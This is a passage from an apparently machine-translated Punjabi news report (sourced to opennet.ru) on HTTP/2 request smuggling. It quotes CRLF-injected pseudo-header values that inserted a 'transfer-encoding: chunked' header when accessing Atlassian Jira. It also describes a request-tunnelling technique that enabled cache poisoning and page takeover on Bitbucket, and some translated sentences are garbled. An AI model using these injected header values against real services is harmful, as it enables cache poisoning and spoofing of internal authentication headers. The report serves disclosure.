"ਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ" ਸਿਰਲੇਖ ਨੂੰ ਬਦਲਣ ਦਾ ਇੱਕ ਹੋਰ ਵਿਕਲਪ ਇਸ ਨੂੰ ਕਿਸੇ ਹੋਰ ਸੂਡੋ-ਸਿਰਲੇਖ ਦੇ ਨਾਮ ਨਾਲ ਜਾਂ ਬੇਨਤੀ ਵਿਧੀ ਨਾਲ ਇੱਕ ਲਾਈਨ ਨਾਲ ਜੋੜਨਾ ਸੀ। ਉਦਾਹਰਨ ਲਈ, ਐਟਲਸੀਅਨ ਜੀਰਾ ਤੱਕ ਪਹੁੰਚ ਕਰਦੇ ਸਮੇਂ, "ਚੰਕਡ" ਮੁੱਲ ਦੇ ਨਾਲ ਸੂਡੋ-ਸਿਰਲੇਖ ਨਾਮ "foo: bar\r\ntransfer-encoding" ਕਾਰਨ HTTP ਹੈਡਰ "foo: bar" ਅਤੇ "transfer-encoding: chunked" ਨੂੰ ਜੋੜਿਆ ਗਿਆ। , ਅਤੇ ਸੂਡੋ-ਸਿਰਲੇਖ ": ਵਿਧੀ" ਮੁੱਲ ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਦੇ ਹੋਏ "GET / HTTP/1.1\r\nਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: chunked" ਦਾ ਅਨੁਵਾਦ "GET / HTTP/1.1\r\nਟ੍ਰਾਂਸਫਰ-ਏਨਕੋਡਿੰਗ: chunked" ਵਿੱਚ ਕੀਤਾ ਗਿਆ ਸੀ।

ਸਮੱਸਿਆ ਦੀ ਪਛਾਣ ਕਰਨ ਵਾਲੇ ਖੋਜਕਰਤਾ ਨੇ ਫਰੰਟਐਂਡ 'ਤੇ ਹਮਲਾ ਕਰਨ ਲਈ ਇੱਕ ਬੇਨਤੀ ਟਨਲਿੰਗ ਤਕਨੀਕ ਦਾ ਪ੍ਰਸਤਾਵ ਵੀ ਪੇਸ਼ ਕੀਤਾ, ਜਿਸ ਵਿੱਚ ਹਰੇਕ IP ਐਡਰੈੱਸ ਬੈਕਐਂਡ ਲਈ ਇੱਕ ਵੱਖਰਾ ਕਨੈਕਸ਼ਨ ਸਥਾਪਤ ਕਰਦਾ ਹੈ ਅਤੇ ਵੱਖ-ਵੱਖ ਉਪਭੋਗਤਾਵਾਂ ਤੋਂ ਟ੍ਰੈਫਿਕ ਨੂੰ ਮਿਲਾਇਆ ਨਹੀਂ ਜਾਂਦਾ ਹੈ। ਪ੍ਰਸਤਾਵਿਤ ਤਕਨੀਕ ਦੂਜੇ ਉਪਭੋਗਤਾਵਾਂ ਦੀਆਂ ਬੇਨਤੀਆਂ ਵਿੱਚ ਦਖਲ ਦੇਣ ਦੀ ਆਗਿਆ ਨਹੀਂ ਦਿੰਦੀ, ਪਰ ਇੱਕ ਸ਼ੇਅਰਡ ਕੈਸ਼ ਨੂੰ ਜ਼ਹਿਰੀਲਾ ਕਰਨਾ ਸੰਭਵ ਬਣਾਉਂਦੀ ਹੈ ਜੋ ਹੋਰ ਬੇਨਤੀਆਂ ਦੀ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਪ੍ਰਭਾਵਤ ਕਰਦੀ ਹੈ, ਅਤੇ ਸੇਵਾ ਜਾਣਕਾਰੀ ਨੂੰ ਫਰੰਟਐਂਡ ਤੋਂ ਬੈਕਐਂਡ ਵਿੱਚ ਟ੍ਰਾਂਸਫਰ ਕਰਨ ਲਈ ਵਰਤੇ ਜਾਣ ਵਾਲੇ ਅੰਦਰੂਨੀ HTTP ਸਿਰਲੇਖਾਂ ਦੇ ਬਦਲ ਦੀ ਆਗਿਆ ਦਿੰਦੀ ਹੈ ( ਉਦਾਹਰਨ ਲਈ, ਜਦੋਂ ਅਜਿਹੇ ਸਿਰਲੇਖਾਂ ਵਿੱਚ ਫਰੰਟਐਂਡ ਸਾਈਡ 'ਤੇ ਪ੍ਰਮਾਣਿਤ ਕਰਨਾ ਮੌਜੂਦਾ ਉਪਭੋਗਤਾ ਬਾਰੇ ਜਾਣਕਾਰੀ ਨੂੰ ਬੈਕਐਂਡ ਵਿੱਚ ਭੇਜ ਸਕਦਾ ਹੈ)। ਅਭਿਆਸ ਵਿੱਚ ਵਿਧੀ ਨੂੰ ਲਾਗੂ ਕਰਨ ਦੇ ਇੱਕ ਉਦਾਹਰਣ ਵਜੋਂ, ਕੈਸ਼ ਜ਼ਹਿਰ ਦੀ ਵਰਤੋਂ ਕਰਕੇ, ਬਿੱਟਬਕੇਟ ਸੇਵਾ ਵਿੱਚ ਪੰਨਿਆਂ ਉੱਤੇ ਨਿਯੰਤਰਣ ਪ੍ਰਾਪਤ ਕਰਨਾ ਸੰਭਵ ਸੀ।

ਸਰੋਤ: opennet.ru